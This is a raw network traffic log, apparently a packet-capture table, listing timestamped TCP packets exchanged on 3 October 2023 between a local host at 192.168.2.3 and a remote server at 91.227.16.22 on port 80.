Oct 3, 2023 09:55:09.753478050 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.753622055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753712893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753751040 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.753840923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753928900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753967047 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754009962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754081011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754122019 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754154921 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754215956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754256010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754268885 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754293919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754339933 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754364967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754410028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754479885 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754484892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754523993 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754591942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754630089 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754720926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754797935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.754842997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.754910946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755012035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755052090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.755080938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755191088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755244017 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.755254984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755306005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755374908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755377054 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.755465984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755515099 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.755547047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755645037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755686045 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.755717993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755769014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755810022 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.755836010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755876064 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.755913973 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.755939007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756026983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756063938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.756089926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756167889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756205082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756217957 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.756248951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756289005 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.756300926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756342888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.756385088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.756397963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758661985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758724928 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.758838892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758855104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758868933 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758881092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758893013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758898973 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.758905888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758919001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758919954 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.758932114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758944035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758944988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.758958101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758970022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758980036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.758984089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758996964 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.758999109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759011030 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759021997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759025097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759037018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759048939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759053946 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759061098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759073973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759074926 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759085894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759095907 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759100914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759115934 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759129047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759133101 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759140968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759154081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759155989 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759166956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759179115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759177923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759198904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759212017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759212017 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759223938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759236097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759243011 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759248018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759260893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759268999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759273052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759287119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759289026 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759299994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759306908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759314060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759327888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759345055 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759385109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759387970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759491920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759540081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759603024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759701014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759742975 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759799004 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759887934 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.759928942 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.759970903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760070086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760111094 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.760153055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760248899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760292053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.760334969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760432005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760471106 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.760514021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760597944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760641098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.760648012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760720015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760771036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.760796070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760859966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.760899067 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.760941029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761038065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761082888 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.761113882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761178970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761220932 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.761265993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761353016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761390924 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.761435032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761548996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761591911 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.761614084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761687994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761729956 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.761775017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761864901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.761907101 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.761950016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762052059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762093067 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.762124062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762227058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762268066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.762300014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762397051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762439966 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.762471914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762551069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762590885 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.762636900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762731075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762772083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.762794018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762867928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762906075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.762907982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.763010979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763066053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.763098955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763169050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763211012 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.763242960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763380051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763420105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.763442993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763552904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763593912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.763637066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763741016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763781071 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.763813019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763874054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.763914108 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.763942003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764010906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764050961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.764089108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764194012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764236927 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.764280081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764350891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764394045 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.764426947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764502048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764542103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.764561892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764642000 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764683008 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.764714956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764821053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764861107 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.764904022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.764987946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765027046 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765099049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765166044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765204906 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765225887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765300035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765337944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765338898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765398979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765438080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765481949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765557051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765595913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765597105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765630007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765670061 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765702009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765760899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765799999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765824080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765881062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765921116 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.765932083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.765963078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766011953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766025066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766056061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766096115 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766122103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766176939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766216993 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766248941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766293049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766333103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766357899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766417027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766453981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766457081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766513109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766549110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766554117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766614914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766655922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766686916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766746044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766788960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.766875029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.766964912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767004967 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.767026901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767102957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767142057 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.767185926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767262936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767302990 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.767334938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767445087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767486095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.767518044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767611980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767652988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.767697096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767793894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767836094 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.767868996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.767960072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768002033 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768027067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768114090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768155098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768174887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768229008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768241882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768270969 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768312931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768357992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768367052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768440008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768485069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768491983 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768534899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768579960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768623114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768671989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768712997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768744946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768826008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768861055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768865108 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.768954039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768986940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.768994093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.769082069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769120932 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.769131899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769195080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769234896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.769246101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769325972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769366980 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.769399881 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769505978 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769546032 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.769577026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769658089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769699097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.769726038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769799948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769836903 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.769910097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.769979954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.770019054 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.770049095 CEST	80	49816	91.227.16.22	192.168.2.3
